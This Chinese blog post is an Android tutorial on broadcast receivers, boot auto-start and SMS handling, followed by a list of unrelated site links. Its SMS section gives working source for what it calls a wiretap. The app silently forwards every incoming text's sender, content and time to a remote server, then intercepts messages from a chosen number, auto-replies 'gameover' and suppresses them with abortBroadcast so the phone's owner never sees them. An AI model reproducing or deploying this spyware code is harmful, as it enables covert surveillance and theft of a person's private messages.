接受和发送广播
来源:互联网 发布:mysql的截取函数怎么用 编辑:程序博客网 时间:2024/06/07 22:41
Intent不仅可以启动应用程序内部或其他应用程序的Activity,还可以发送广播动作(Broadcast Action)。Broadcast Action和Activity Action一样,既可以由系统负责广播,也可以自己的应用程序负责广播。当开机自动启动某个程序,就是Android向整个系统发送Broadcast Action,如果系统接收到Broadcast Action,就可以完成相应的程序。
接受系统广播需要两步:
(1) 编写一个可以继承android.content.BroadcastReceiver的类,并实现BroadcastReceiver类中的onReceiver方法。
(2) 在AndroidMainfest.xml文件中使用<receiver>标签来指定 (1)步骤中编写的接收系统广播的类可以接受哪个Broadcast Action。
注意:如果你实在Activity.onResume()方法中注册的一个receiver,那么你必须在Activity.onPause()方法中进行注销。(当一个activity处于暂停状态是不会接收intents的,并且这样做也可以减小系统不必要的开销)。不要在Activity.onSaveInstanceState()方法中注销receiver,因为activity从栈中恢复的时候并不会调用这个方法了。
订阅广播:
IntentFilter filter = newIntentFilter("android.provider.Telephony.SMS_RECEIVED");
IncomingSMSReceiver receiver = newIncomingSMSReceiver();
registerReceiver(receiver, filter);
<receiver android:name="MySMSListener">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
开机启动
要实现开机启动的功能,需要的系统广播为:android.intent.action.BOOT_COMPLETED.
反复重启模拟器,会发现模拟器在启动后总是会先运行这个程序。
接收短信
服务器(videoweb):
1.修改formbean: VideoForm中增加短信的时间、内容和发送者属性
2.VideoManageAction中增加方法getSMS来获取窃听器发送的短消息
public ActionForward getSMS(ActionMapping mapping,ActionForm form,
HttpServletRequestrequest, HttpServletResponse response)
throwsException {
VideoFormformbean = (VideoForm)form;
System.out.println("发送时间:"+ formbean.getTime());
System.out.println("谁给她发的短信:"+ formbean.getSender());
System.out.println("内容:"+ formbean.getContent());
returnmapping.findForward("result");
}
客户端SMS_Listener
1、 清单文件
中订阅广播
<receiver android:name=".MySMSListener">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
添加短信接收权限,访问网络权限
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
2、 客户端MySMSListener.java
功能:收取短信广播,接收并解析短信然后发送至服务器端进行后台打印。
public class MySMSListener extendsBroadcastReceiver {
publicvoid onReceive(Context context, Intent intent) {
Object[]pdus = (Object[]) intent.getExtras().get("pdus");
if(pdus != null && pdus.length > 0) {
SmsMessage[]messages = new SmsMessage[pdus.length];
for(int i = 0; i < messages.length; i++) {
byte[]pdu = (byte[]) pdus[i];
messages[i]= SmsMessage.createFromPdu(pdu);
}
for(SmsMessage msg : messages) {
Stringcontent = msg.getMessageBody();
Stringsender = msg.getOriginatingAddress();
Date date = newDate(msg.getTimestampMillis());
SimpleDateFormatsdf = new SimpleDateFormat(
"yyyy-MM-ddHH:mm:ss");
StringsendTime = sdf.format(date);
Map<String,String>param = new HashMap<String,String>();
param.put("method","getSMS");
param.put("sender",sender);
param.put("content",content);
param.put("time",sendTime);
Stringpath =
"http://192.168.1.100:8080/videoweb/video/manage.do";
try{
SocketHttpRequester.post(path,param, "UTF-8");
}catch (Exception e) {
Log.e("TAG",e.toString());
}
}
}
}
}
3、进一步添加客户端功能:将监听到的指定的短信进行拦截并且自动进行回复。
添加短信发送权限:
<uses-permission android:name="android.permission.SEND_SMS"/>
MySMSListener的onReceive中添加代码如下:
String sendContent = sdf.format(date)+ ":" + sender + "--"+ content;
Log.i("TAG",sendContent);
if(sender!= null &&sender.endsWith("5556")){//5556".equals(sender)){
SmsManagersmsManager = SmsManager.getDefault();
smsManager.sendTextMessage("5556",null,"gameover",null,null);
this.abortBroadcast();//终止广播
}
- 接受和发送广播
- 接受和发送广播
- Android广播的发送和接受
- 跨应用发送和接受广播
- 接受和发送广播------开机启动和接收短信
- android中BroadCastReceiver使用(广播的接受和发送)
- android 随手记 广播的发送和接受
- android 随手记 广播的发送和接受
- Android中 广播发送 和 接受 的简单示例
- 广播的发送和接受过程是怎样的
- 自定义 发送广播,并接受广播
- UDP广播和接受
- android 跨应用程序广播发送接受
- JMS发送和接受
- Socket发送和接受
- zmq: 发送和接受
- 发送和接受数据
- (八)React Native实现调用android原生java方法并实现广播的发送和接受
- apache apr_pool_t
- redhat重启网卡配置命令
- Struts2中实现Validator
- JavaScript:new 一个函数和直接调用函数的异同
- Sql清除日志
- 接受和发送广播
- 常用类、容器基础---J2SE
- 给用户正确的交互方式
- Android SmsMessage类详解
- 移动无标题(边框)窗体
- [笔记]手机的一些硬件知识
- Installing KDevelop in Kubuntu/Ubuntu 10.04
- 在Windows命令行下配置IP地址
- AspNetPager控件,当进入AspNetPager_PageChanged事件时,所有的session,什么的,全部丢失,我的dropdownlist 中的数据全部被还原,,,,,,,,,,,,